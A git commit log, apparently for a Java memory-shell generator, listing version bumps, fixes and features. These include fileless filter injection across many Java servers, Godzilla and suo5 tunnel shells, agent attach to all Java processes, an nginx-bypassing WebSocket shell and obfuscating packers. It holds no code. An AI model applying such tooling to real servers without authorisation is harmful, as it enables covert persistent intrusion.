Compare commits

..
930 Commits
Author SHA1 Message Date
ReaJason 82fcd8ae42 chore: 2.7.2
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struts2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-05-24 23:39:43 +08:00
ReaJason 167e3452ec fix(web): probe shell switch not work 2026-05-24 23:35:07 +08:00
ReaJason 009c70d8d6 chore: 2.7.1 2026-05-24 22:29:57 +08:00
ReaJason fce2b11128 test: fix failed case 2026-05-24 22:28:22 +08:00
ReaJason 8b3f285002 docs: update 2026-05-24 22:28:22 +08:00
ReaJason 0a9a68ee7f fix: SpELGzipPacker class not found 2026-05-24 22:28:22 +08:00
ReaJason f0472d231b chore: upgrade deps 2026-05-24 22:28:22 +08:00
ReaJason 4061c61c29 test: add some basicInfo 2026-05-24 22:28:22 +08:00
ReaJason 8664e0d45a fix: tongweb 7.0.4.9 probe fail 2026-05-24 22:28:22 +08:00
ReaJason 59dc5ba5fc fix: bes11 probe failed 2026-05-24 22:28:22 +08:00
ReaJason 01c939ee18 chore: 2.7.1-SNAPSHOT 2026-05-24 22:28:22 +08:00
ReaJason b0800f0a0b fix: rename struct2 -> struts2 2026-05-24 22:28:22 +08:00
ReaJason dbd9687003 ci: upgrade actions
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-04-26 22:57:39 +08:00
ReaJason 886c37d8c2 chore: 2.7.0 2026-04-26 22:39:30 +08:00
ReaJason 06feb3fe14 docs: update CHANGELOG 2026-04-26 21:33:15 +08:00
ReaJason cb195715c0 fix: assertion failed 2026-04-26 21:33:15 +08:00
ReaJason 036887d806 fix: try fix windows build failed 2026-04-26 21:33:15 +08:00
ReaJason 11794f9465 build: fumadoc build failed 2026-04-26 21:33:15 +08:00
ReaJason e7e97089ce chore: 2.6.2-SNAPSHOT 2026-04-26 21:33:15 +08:00
ReaJason ee560ff7ee style: fmt code 2026-04-26 21:33:15 +08:00
ReaJason d10323a054 feat: support Alibaba & Apache dubbo service 2026-04-26 21:33:15 +08:00
ReaJason 016d0d5bbe chore: use tomcat-embed-core dep 2026-04-26 21:33:15 +08:00
ReaJason 666aed90c3 feat: support command base64 encryptor 2026-04-26 21:33:15 +08:00
ReaJason 8962c855c9 feat: support agent attacher list java processes and attach all 2026-04-26 21:33:15 +08:00
ReaJason 8b66a83028 test: fix failed cases
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-03-30 22:45:07 +08:00
ReaJason 29b17728f3 ci: downgrade integration-test runner 2026-03-30 22:26:48 +08:00
ReaJason 1645c12b0a build: ui not found 2026-03-30 22:18:03 +08:00
ReaJason a034543689 chore: 2.6.1 2026-03-30 22:01:30 +08:00
ReaJason ba53112010 feat: upgrade docs 2026-03-30 21:55:55 +08:00
ReaJason a11b41d403 chore: upgrade deps 2026-03-30 21:55:35 +08:00
ReaJason 1643a97a92 fix: proxy OOM 2026-03-30 21:26:45 +08:00
ReaJason 8d65f0a0d9 fix: controller cannot click generate button 2026-03-30 21:26:45 +08:00
ReaJason 0f86393c7d chore: 2.6.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-02-08 20:53:50 +08:00
ReaJason cff1c34940 docs: update CHANGELOG 2026-02-08 20:44:00 +08:00
ReaJason 6c133b252b chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason 757c3e6b41 Revert "test: vul-webapp failed in servlet 2.3"
This reverts commit 93971fc66c.
2026-02-08 20:44:00 +08:00
ReaJason 0d20cf4254 feat: support resin2 agent shell 2026-02-08 20:44:00 +08:00
ReaJason 58a89f8953 test: vul-webapp failed in servlet 2.3 2026-02-08 20:44:00 +08:00
ReaJason 874bd29527 refactor: rm jsp generic syntax 2026-02-08 20:44:00 +08:00
ReaJason 956c7c086d build: add publishAllToMavenLocal task 2026-02-08 20:44:00 +08:00
ReaJason fddfc19ec5 refactor: use Suo5V2Loader 2026-02-08 20:44:00 +08:00
zema1 0fccf65d1b feat: sync suo5 v2.1.0 2026-02-08 20:44:00 +08:00
ReaJason 282847d0a8 refactor: simplify code 2026-02-08 20:44:00 +08:00
ReaJason a044e3777b feat: add postProcessBytes for ByteBuddyShellGenerator 2026-02-08 20:44:00 +08:00
ReaJason 4c8343c86f fix: method body write failed with jakarta renamed
ByteBuddy Advice cache the class method list at first, the method signature will be changed when use jakarta rename, if follow advice need enhance the javax method, it will not find method signature. because ByteBuddy cached javax method, but follow advice need find the jakarta method, boom~
2026-02-08 20:44:00 +08:00
ReaJason 58041fa0b5 chore: 2.5.1-SNAPSHOT 2026-02-08 20:44:00 +08:00
ReaJason d1782309c1 fix(ui): prevent-duplicate-clicks not work 2026-02-08 20:44:00 +08:00
ReaJason 841909fa64 chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason 61d64885e8 chore: 2.5.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-01-19 00:28:52 +08:00
ReaJason 156db39643 test: skip tomcat7 ws 2026-01-19 00:18:15 +08:00
ReaJason bb317eadfd build: image not found 2026-01-18 23:52:39 +08:00
ReaJason 2d57a702d7 chore: upgrade deps 2026-01-18 23:49:41 +08:00
ReaJason 76a4fe0bc0 test: add empty component 2026-01-18 23:49:41 +08:00
ReaJason 867c2004bc docs: update changelog 2026-01-18 23:49:41 +08:00
ReaJason d3cf8c4560 test: jetty6 start failed 2026-01-18 23:49:41 +08:00
ReaJason a84e242d42 test: jdk assert error 2026-01-18 23:49:41 +08:00
ReaJason 8c14631478 refactor: probe integration-test 2026-01-18 23:49:41 +08:00
ReaJason ca8f303444 test: probe not work 2026-01-18 23:49:41 +08:00
ReaJason 0279d6cc0b fix: NPE 2026-01-18 23:49:41 +08:00
ReaJason e9d60152b1 fix: weblogic upload jsp failed 2026-01-18 23:49:41 +08:00
ReaJason c0c78c4372 feat: add jsp unicode packer 2026-01-18 23:49:41 +08:00
ReaJason 686be6b59a refactor: memshell integration-test 2026-01-18 23:49:41 +08:00
ReaJason cc706ec3af test: skip proxy 2026-01-18 23:49:41 +08:00
ReaJason 4ec1f06362 feat: support ws proxy 2026-01-18 23:49:41 +08:00
ReaJason 54be0712d5 test: add filter 2026-01-18 23:49:41 +08:00
ReaJason 548990b7cc refactor: change godzilla websocket base64 to raw 2026-01-18 23:49:41 +08:00
ReaJason 0296705a87 docs: add some highlights 2026-01-18 23:49:41 +08:00
ReaJason 5b0305be37 feat: add proxy ws 2026-01-18 23:49:41 +08:00
ReaJason 8a059d9b6f docs: add websocket usage 2026-01-18 23:49:41 +08:00
ReaJason a60dc84356 refactor: rename test case 2026-01-18 23:49:41 +08:00
ReaJason 5b5c225edb feat: support Tomcat Command WebSocketBypassNginx 2026-01-18 23:49:41 +08:00
ReaJason 8458becfbc refactor: rename asserts to assets 2026-01-18 23:49:41 +08:00
ReaJason aea03800c7 refactor: change field location 2026-01-18 23:49:41 +08:00
ReaJason ca304c600d feat(ui): add targetJdkVersion field 2026-01-18 23:49:41 +08:00
ReaJason 33753844a7 refactor(ui): change serverVersion field localtion 2026-01-18 23:49:41 +08:00
ReaJason 9620076443 fix(ui): file input height error 2026-01-18 23:49:41 +08:00
ReaJason 9edab88267 refactor: optimize import 2026-01-18 23:49:41 +08:00
ReaJason d0604a1b64 chore: 2.4.3-SNAPSHOT 2026-01-18 23:49:41 +08:00
ReaJason 34f77c134a feat: add jakarta-api deps 2026-01-18 23:49:41 +08:00
ReaJason 5bb6e42b3c feat: shellConfig support set isJakarta field 2026-01-18 23:49:41 +08:00
ReaJason 2bcd00e9c4 build: autoRelease and validateComponents 2026-01-18 23:49:41 +08:00
ReaJason 258e87b00e ci: update ci
Docker Build Test / docker-build-test (push) Has been cancelled
2026-01-13 20:34:36 +08:00
ReaJason 61fdeba1b0 ci: add test workflow 2026-01-13 20:29:05 +08:00
ReaJason eedee34660 chore: 2.4.2
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-01-12 02:21:44 +08:00
ReaJason 8edc865b69 chore: update libs 2026-01-12 02:12:34 +08:00
ReaJason d5390db369 docs: update changelog 2026-01-12 02:12:34 +08:00
ReaJason e9dfd5085e fix: NPE 2026-01-12 02:12:34 +08:00
ReaJason c51b4e11dc fix: context not found test not work 2026-01-12 02:12:34 +08:00
ReaJason 726690ede1 feat: support FilterProbe generate 2026-01-12 02:12:34 +08:00
ReaJason 29852ecf55 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 36085b3c93 feat: support servletNameFilter 2026-01-12 02:12:34 +08:00
ReaJason 729dd8d166 feat: support servletNameFilter for WebLogicFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 12f9dbe432 feat: support servletNameFilter for UndertowFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 80f91f9d6f feat: support servletNameFilter for GlassFishFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason ee07687b4f feat: support servletNameFilter for JettyFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 9d5c5a1ddf feat: support servletNameFilter for TomcatFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 86738e308d chore: add libs git submodule 2026-01-12 02:12:34 +08:00
ReaJason 093d491219 feat: support addFilterFirst for WebSphere 2026-01-12 02:12:34 +08:00
ReaJason 86ef0aafcb feat: support filterProbe for WebLogic 2026-01-12 02:12:34 +08:00
ReaJason afe22ca83f refactor: simplify WebLogic getContext 2026-01-12 02:12:34 +08:00
ReaJason cfc8fac0b1 feat: support addFilterFirst for TongWeb 2026-01-12 02:12:34 +08:00
ReaJason e828bb92b6 feat: support addFilterFirst for Apusic/InforSuite 2026-01-12 02:12:34 +08:00
ReaJason f170ca4514 refactor: use commonUtil for packageName 2026-01-12 02:12:34 +08:00
ReaJason 4ae264a091 fix: classNotFound 2026-01-12 02:12:34 +08:00
ReaJason 4db6739436 feat: support addFilterFirst for GlassFish 2026-01-12 02:12:34 +08:00
ReaJason 0c7de5bf7f test: add JBossAS filterProbe test 2026-01-12 02:12:34 +08:00
ReaJason 62a48b8937 feat: support addFilterFirst for undertow 2026-01-12 02:12:34 +08:00
ReaJason 9cb35aed9e fix: undertow filter cache 2026-01-12 02:12:34 +08:00
ReaJason e9b9099d49 feat: support addFilterFirst for resin 2026-01-12 02:12:34 +08:00
ReaJason bab98f7995 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 9483e07e69 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason fea1c0d18e feat: support addFilterFirst for jetty 2026-01-12 02:12:34 +08:00
ReaJason aa1c4b3d13 test: support remote docker runner 2026-01-12 02:12:34 +08:00
ReaJason f86a9d8ee2 test: add classes 2026-01-12 02:12:34 +08:00
ReaJason 20ee99a82d test: fix GlassFish filter 2026-01-12 02:12:34 +08:00
ReaJason 579d9a74c0 build: use pip mirror 2026-01-12 02:12:34 +08:00
ReaJason a020ed587c chore: upgrade deps 2026-01-12 02:12:34 +08:00
ReaJason c121d91781 refactor: change method order 2026-01-12 02:12:34 +08:00
ReaJason 6416d7b806 feat: support addFilterFirst for tomcat 2026-01-12 02:12:34 +08:00
ReaJason 40c068a9e5 ci: test build on windows 2026-01-12 02:12:34 +08:00
ReaJason c4bf33bb13 feat: support open-liberty javaee 2026-01-12 02:12:34 +08:00
ReaJason 7c0942947c docs: add WIP structure 2026-01-12 02:12:34 +08:00
ReaJason 2828a927ec docs: add shellType table 2026-01-12 02:12:34 +08:00
ReaJason 5ffbbc40d8 test: add more cases 2026-01-12 02:12:34 +08:00
ReaJason 71911fd4e3 chore: 2.4.2-SNAPSHOT 2026-01-12 02:12:34 +08:00
ReaJason 717d887acc fix: sub ui.data not found 2026-01-12 02:12:34 +08:00
ReaJason cbfa3ba3da docs: update changelog
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-16 21:59:39 +08:00
ReaJason cb99dcab6c chore: 2.4.1 2025-12-16 21:56:18 +08:00
ReaJason 986208304d docs: update changelog 2025-12-16 21:55:21 +08:00
ReaJason 28c12102c2 refactor: migrate radix-ui to base-ui 2025-12-16 21:55:21 +08:00
ReaJason 0a5cadf64a docs: update 2025-12-16 21:55:21 +08:00
ReaJason 9127b4668c fix: context not found in fr v11 2025-12-16 21:55:21 +08:00
ReaJason 41e8bd7ba0 Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086241.
2025-12-16 21:55:21 +08:00
ReaJason 52ac025bfa docs: add springweb intro 2025-12-16 21:55:21 +08:00
ReaJason 638cb2f90c docs: fix typo 2025-12-16 21:55:21 +08:00
ReaJason c27c580943 chore: upgrade deps 2025-12-16 21:55:21 +08:00
ReaJason 3c646b9104 style: format code 2025-12-16 21:55:21 +08:00
ReaJason 1fb2942246 feat: add tooltip for paramName 2025-12-16 21:55:21 +08:00
ReaJason d51f7c1283 feat: add tooltip for switch 2025-12-16 21:55:21 +08:00
ReaJason db85ec4bee docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 0097984b33 fix: close respOutputStream in finally 2025-12-16 21:55:21 +08:00
ReaJason c623897a80 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 9d3fc4d738 fix: shell connect failed due to empty body 2025-12-16 21:55:21 +08:00
ReaJason 395ca3caa0 fix: response body write failed when getOutputStream already called 2025-12-16 21:55:21 +08:00
ReaJason 6582ab87c0 fix: throwable.printStackTrace not removed in debug off mode 2025-12-16 21:55:21 +08:00
ReaJason ffb8313811 docs: add memshell-core-config mdx 2025-12-16 21:55:21 +08:00
ReaJason 37ed3b0dee chore: simplify deps 2025-12-16 21:55:21 +08:00
ReaJason ede4b122a9 docs: add godzilla 2025-12-16 21:55:21 +08:00
ReaJason eba4b82464 feat(ui): add image-zoom 2025-12-16 21:55:21 +08:00
zema1 52f82d7979 fix: close response outputstream in suo5v2
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-14 18:45:58 +08:00
zema1 d3727d7d3e feat: remove uneeded code 2025-12-14 18:45:58 +08:00
ReaJason 1515011026 chore: 2.4.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-10 02:10:59 +08:00
ReaJason 13cafb19a6 docs: update changelog 2025-12-10 02:10:34 +08:00
ReaJason 478b214a2c docs: add suo5 usage 2025-12-10 02:09:13 +08:00
ReaJason 0ccd375fd7 fix: rm jar package for probe shell 2025-12-10 02:09:13 +08:00
ReaJason 14a1e0358e feat: support suo5 v2 jetty customizer 2025-12-10 02:09:13 +08:00
ReaJason c71a6c5a79 feat: support suo5 v2 shell 2025-12-10 02:09:13 +08:00
ReaJason 9bfa58cbd4 feat: support struct2 memshell and probeshell 2025-12-10 02:09:13 +08:00
ReaJason 6628a74daa ci: release ci broken
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / springwebflux (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-08 02:32:56 +08:00
ReaJason dfa5a412ff chore: 2.3.0 2025-12-08 02:28:02 +08:00
ReaJason e5707bd204 build: change dev port 2025-12-08 02:26:31 +08:00
ReaJason 9328fa08cd ci: api changed 2025-12-08 02:23:52 +08:00
ReaJason 2d6910895c build: react-router failed 2025-12-08 02:20:18 +08:00
ReaJason fb080b3264 build: source.config.ts not found 2025-12-08 02:08:37 +08:00
ReaJason 578271effb build: bun.lockb not found 2025-12-08 01:48:43 +08:00
ReaJason 7c85af5007 docs: update README 2025-12-08 01:45:54 +08:00
ReaJason 3fdaa22ccd docs: rm useless docs 2025-12-08 01:44:36 +08:00
ReaJason aa1d9bb69d docs: move folder 2025-12-08 01:43:41 +08:00
ReaJason e9f16ca32e build: custom base path not work 2025-12-08 01:43:41 +08:00
ReaJason 95046169ed fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 1db5c52307 feat: support probe paramName optional 2025-12-08 01:43:41 +08:00
ReaJason 056032cae7 feat: support command probe template 2025-12-08 01:43:41 +08:00
ReaJason f77c829f4e chore: unify color theme 2025-12-08 01:43:41 +08:00
ReaJason 544706352a feat: support command template 2025-12-08 01:43:41 +08:00
ReaJason f1d42a9b3c fix: wrong jetty handler will disrupt service 2025-12-08 01:43:41 +08:00
ReaJason b725ca3e67 refactor: use processors 2025-12-08 01:43:41 +08:00
ReaJason 2ac2c845de feat: support tomcat upgrade 2025-12-08 01:43:41 +08:00
ReaJason ccc6bd0c91 test: add jboss eap-8.1 cases 2025-12-08 01:43:41 +08:00
ReaJason d9c1828a5c fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 1e2069d869 test: simplify payload 2025-12-08 01:43:41 +08:00
ReaJason 45f6949940 test: wait for /app 2025-12-08 01:43:41 +08:00
ReaJason d4e7a25255 feat: support GroovyTransformJar packer 2025-12-08 01:43:41 +08:00
ReaJason c5cdb03a9f test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 772a8b5cb0 fix: injector msg is empty 2025-12-08 01:43:41 +08:00
